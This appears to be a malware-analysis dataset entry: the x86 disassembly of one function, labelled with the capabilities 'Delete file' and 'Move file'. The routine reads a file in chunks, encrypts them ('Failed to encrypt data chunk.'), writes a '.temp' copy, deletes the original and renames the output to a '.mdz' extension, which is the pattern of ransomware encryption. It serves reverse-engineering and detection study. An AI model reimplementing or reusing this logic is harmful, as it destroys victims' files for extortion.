Function at 0x402680
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43388f
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x445054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 1
push 0x40
push 0x20
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x170]
call fcn.00405bf0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x170]
call fcn.0040e050
movzx ecx, al
test ecx, ecx
jne 0x4026f0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
jmp 0x402b08
push str..temp
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00403750
add esp, 0xc
mov byte [ebp - 4], 1
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x220]
call fcn.00405e50
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x220]
call fcn.0040e070
movzx edx, al
test edx, edx
jne 0x402771
lea ecx, [ebp - 0x170]
call fcn.0040cb40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00408b50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407c30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
jmp 0x402b08
mov dword [ebp - 0xb8], 0x6400000
lea ecx, [ebp - 0x89]
call fcn.00405b70
push eax
push 0x6400000
lea ecx, [ebp - 0xa4]
call fcn.00406b80
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00406bc0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x170]
call fcn.0040ddb0
movzx edx, al
test edx, edx
je 0x402903
lea ecx, [ebp - 0xa4]
call fcn.0040f250
xor ecx, ecx
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.0040c270
push eax
lea ecx, [ebp - 0x170]
call fcn.0040eb20
lea ecx, [ebp - 0x170]
call fcn.0040dcf0
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0xa8], 0
jl 0x4028fe
jg 0x402823
cmp dword [ebp - 0xac], 0
jbe 0x4028fe
lea edx, [ebp - 0x98]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
lea ecx, [ebp - 0xa4]
call fcn.0040c270
push eax
call fcn.00402460
add esp, 0x10
movzx edx, al
test edx, edx
jne 0x4028d8
push 0x4054a0
push str.Failed_to_encrypt_data_chunk.
push 0x4462b0
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.00408600
lea ecx, [ebp - 0x170]
call fcn.0040cb40
lea ecx, [ebp - 0x220]
call fcn.0040cb70
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00407d40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.00407d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00408b50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407c30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
jmp 0x402b08
lea ecx, [ebp - 0x98]
call fcn.0040f250
xor ecx, ecx
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040c270
push eax
lea ecx, [ebp - 0x220]
call fcn.0040fb20
jmp 0x4027aa
lea ecx, [ebp - 0x170]
call fcn.0040cb40
lea ecx, [ebp - 0x220]
call fcn.0040cb70
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x70]
push eax
call fcn.004016c0
add esp, 8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.004016c0
add esp, 8
mov byte [ebp - 4], 6
push str..mdz
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x88]
push ecx
call fcn.00403750
add esp, 0xc
mov dword [ebp - 0xb0], eax
mov edx, dword [ebp - 0xb0]
mov dword [ebp - 0xb4], edx
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x40]
push ecx
call fcn.004016c0
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x88]
call fcn.00407c30
lea ecx, [ebp - 0x70]
call fcn.0040c930
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x402a14
lea ecx, [ebp - 0x40]
call fcn.00407c50
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x58]
call fcn.00407c50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00407d40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.00407d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00408b50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407c30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
jmp 0x402b08
lea ecx, [ebp - 0x40]
call fcn.0040c930
push eax
lea ecx, [ebp - 0x58]
call fcn.0040c930
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x402a9d
lea ecx, [ebp - 0x40]
call fcn.00407c50
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x58]
call fcn.00407c50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00407d40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.00407d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00408b50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407c30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
jmp 0x402b08
lea ecx, [ebp - 0x40]
call fcn.00407c50
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x58]
call fcn.00407c50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00407d40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.00407d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00408b50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00407c30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.00408af0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004112c7
mov esp, ebp
pop ebp
ret